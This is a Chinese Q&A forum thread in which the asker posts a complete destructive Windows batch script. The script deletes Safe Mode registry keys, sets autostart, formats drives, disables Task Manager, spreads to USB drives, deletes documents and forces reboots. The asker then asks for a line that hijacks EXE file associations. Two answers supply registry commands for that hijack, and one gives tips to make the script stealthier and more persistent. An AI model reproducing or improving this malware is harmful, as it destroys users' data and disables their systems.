十分恐怖的一个病毒批处理。差一句就完成。超高分求助！

Question

:1
rem 损坏安全模式
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /f
rem 开机自启动
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v windowsdir /t reg_sz /d "c:\%~n0%~x0" /f>nul
rem 格式化所有盘
format d:/q
format e:/q
format f:/q
rem 禁用任务管理器
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f >nul
rem USB移动盘感染
for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移动驱动器">NUL && copy %0 %%i)
for %%i in (%drives%) do (del %%i:\*.doc /f /s /q & del %%i:\*.xls /f /s /q & del %%i:\*.ghs /f /s /q)
rem 5秒内重启
shutdown -r -t 5
rem 复制自身+开机自启动
copy %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"
rem 增加超多硬盘
md d:\fly >nul 2>nul
set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul
rem 修改IE标题栏
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "Bitch, I FUCK YOU ！" /f
rem 销毁自身
del %0
goto 1

在其中加一句命令，功能为：运行exe会自动关联jpg也就是说打开exe会把这个exe当jpg对待来运行！

求这条命令。
我Q276376883
有嫌分不够的我会继续再加。

Answer 1

根据你的“运行exe会自动关联jpg也就是说打开exe会把这个exe当jpg对待来运行”这句，代码如下：
reg add "HKEY_CLASSES_ROOT\exefile\shell\opencommand" "rundll32.exe C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen %1"

附关联exe方法：
regedit,找到"HKEY_CLASSES_ROOT\exefile\shell\open\command"即可；
关联jpg，找到注册表中的"HKEY_CLASSES_ROOT\jpegfile\shell\open\command"
其他关联，你可以参考“新欢乐时光”病毒的关联dll的方法，在KJCreateMilieu()函数中的“ 改变dll的打开方式”中可找到，具体：http://hi.baidu.com/msrighthomepage/blog/item/0f34e344c905c421cefca3c2.html
我没有测试过，但是，如果所有的应用程序exe都关联了jpg图片的话，这电脑基本上运行不了。
我建议你用vbs改写。

Answer 2

兰州烧饼。9527。

Answer 3

何必那么复杂，注册表HKEY_CLASSES_ROOT-.exe默认值随便改个按JPG打开的话jpegfile修改成这个
不过。。。这个批处理太嫩了
第一，连个后台操作都不做。。你以为人家傻啊，没等你做多少事情的时候你的CMD窗口已经被关掉了
第二，逻辑太乱复制到移动设备有什么用。。。
第三，你怎么确定他的用户名一定是ADMINISTRATOR，至少要改成%userprofile%这个吧
第四，你的做法其实并不怎么样添加到开始运行并不是最好的办法，最好的办法是写入到C:\AUTOEXEC.BAT这个批处理里面（默认是只读）这个是开机自动启动的批处理（系统默认的）

我也是新手，有什么说的不对的请多指教

Answer 4

你要干嘛？看这架势是无孔不入